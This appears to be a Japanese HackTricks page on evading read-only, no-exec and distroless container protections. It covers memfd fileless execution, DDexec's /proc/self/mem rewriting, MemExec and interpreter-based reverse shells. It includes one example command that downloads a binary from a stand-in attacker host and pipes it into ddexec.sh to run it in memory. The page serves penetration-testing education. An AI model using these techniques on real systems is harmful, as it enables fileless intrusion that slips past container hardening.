.. | ||
ddexec.md | ||
README.md |
FS保護のバイパス:読み取り専用 / 実行不可 / Distroless
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
読み取り専用 / 実行不可のシナリオ
読み取り専用(ro)ファイルシステム保護が、特にコンテナ内でLinuxマシンによく見られるようになっています。これは、securitycontext
で**readOnlyRootFilesystem: true
**を設定するだけで、roファイルシステムでコンテナを実行できるためです。
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
しかし、ファイルシステムがroとしてマウントされていても、/dev/shm
は書き込み可能なままですので、ディスクに何も書き込めないわけではありません。ただし、このフォルダは実行不可の保護でマウントされるため、ここにバイナリをダウンロードしても実行できません。
{% hint style="warning" %}
レッドチームの観点からすると、これにより、システムに既に存在しないバイナリ(バックドアやkubectl
のようなエンティティ)をダウンロードして実行するのが困難になります。
{% endhint %}
最も簡単なバイパス:スクリプト
バイナリと言及しましたが、インタプリタがマシン内にある限り、シェルスクリプト(sh
が存在する場合)やPythonスクリプト(python
がインストールされている場合)など、任意のスクリプトを実行できます。
ただし、これだけではバイナリバックドアや他のバイナリツールを実行するのには十分ではありません。
メモリバイパス
ファイルシステムが実行を許可していない場合にバイナリを実行したい場合、最も簡単な方法は、メモリから実行することです。なぜなら、保護はメモリ内では適用されないからです。
FD + execシスコールバイパス
Python、Perl、Rubyなどの強力なスクリプトエンジンがマシン内にある場合、バイナリをメモリにダウンロードして実行することができます。これは、メモリファイルディスクリプタ(create_memfd
シスコール)に保存し、これらの保護によって保護されないためです。その後、exec
シスコールを呼び出して、ファイルとして実行するためにfdを指定します。
これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、バイナリを圧縮してb64エンコードし、create_memfd
シスコールを呼び出して作成されたfdにデコードおよび展開するための指示を含む指定された言語のスクリプトを生成します。その後、execシスコールを呼び出して実行します。
{% hint style="warning" %}
これは、PHPやNodeなどの他のスクリプト言語では機能しません。これらの言語では、スクリプトから生のシスコールを呼び出すデフォルトの方法がないため、バイナリを保存するためのメモリfdを作成するためにcreate_memfd
を呼び出すことはできません。
また、/dev/shm
内のファイルを持つ通常のfdを作成しても機能しません。実行不可の保護が適用されるため、実行することは許可されません。
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExecは、**/proc/self/mem
**を上書きすることで、自分自身のプロセスのメモリを変更する技術です。
したがって、プロセスが実行しているアセンブリコードを制御することで、シェルコードを書き込み、プロセスを任意のコードを実行するように「変異」させることができます。
{% hint style="success" %} DDexec / EverythingExecを使用すると、メモリから自分自身のシェルコードまたは任意のバイナリをロードして実行できます。 {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
詳細な情報については、Githubを参照するか、以下のリンクを参照してください:
{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}
MemExec
Memexecは、DDexecの自然な次のステップです。これはDDexecシェルコードをデーモン化したものであり、異なるバイナリを実行するためにDDexecを再起動する必要はありません。代わりに、DDexecのテクニックを使用してmemexecシェルコードを実行し、このデーモンと通信して新しいバイナリをロードして実行することができます。
https://github.com/arget13/memexec/blob/main/a.phpには、memexecを使用してPHPリバースシェルからバイナリを実行する例があります。
Memdlopen
DDexecと同様の目的で、memdlopenテクニックは、メモリにバイナリをロードして後で実行するためのより簡単な方法を提供します。これにより、依存関係を持つバイナリをロードすることも可能になります。
Distroless Bypass
Distrolessとは
Distrolessコンテナには、ライブラリやランタイムの依存関係など、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネントのみが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは除外されています。
Distrolessコンテナの目標は、不要なコンポーネントを排除することにより、コンテナの攻撃面を減らし、悪用できる脆弱性の数を最小限に抑えることです。
リバースシェル
Distrolessコンテナでは、通常のシェルを取得するためのsh
やbash
などは見つからないかもしれません。また、通常システムで実行するls
、whoami
、id
などのバイナリも見つかりません。
{% hint style="warning" %} したがって、通常どおりにリバースシェルを取得したりシステムを列挙したりすることはできません。 {% endhint %}
ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされており、したがってPythonリバースシェルを取得することができます。Nodeを実行している場合はNodeリバースシェルを取得できますし、ほとんどのスクリプト言語でも同様です。
{% hint style="success" %} スクリプト言語を使用することで、言語の機能を利用してシステムを列挙することができます。 {% endhint %}
読み取り専用/実行不可の保護がない場合、リバースシェルを悪用してバイナリをファイルシステムに書き込み、実行することができます。
{% hint style="success" %} ただし、この種のコンテナでは通常これらの保護が存在するため、以前のメモリ実行技術を使用してこれらの保護をバイパスすることができます。 {% endhint %}
https://github.com/carlospolop/DistrolessRCEには、スクリプト言語のリバースシェルを取得し、メモリからバイナリを実行するためのいくつかのRCE脆弱性を悪用する例があります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。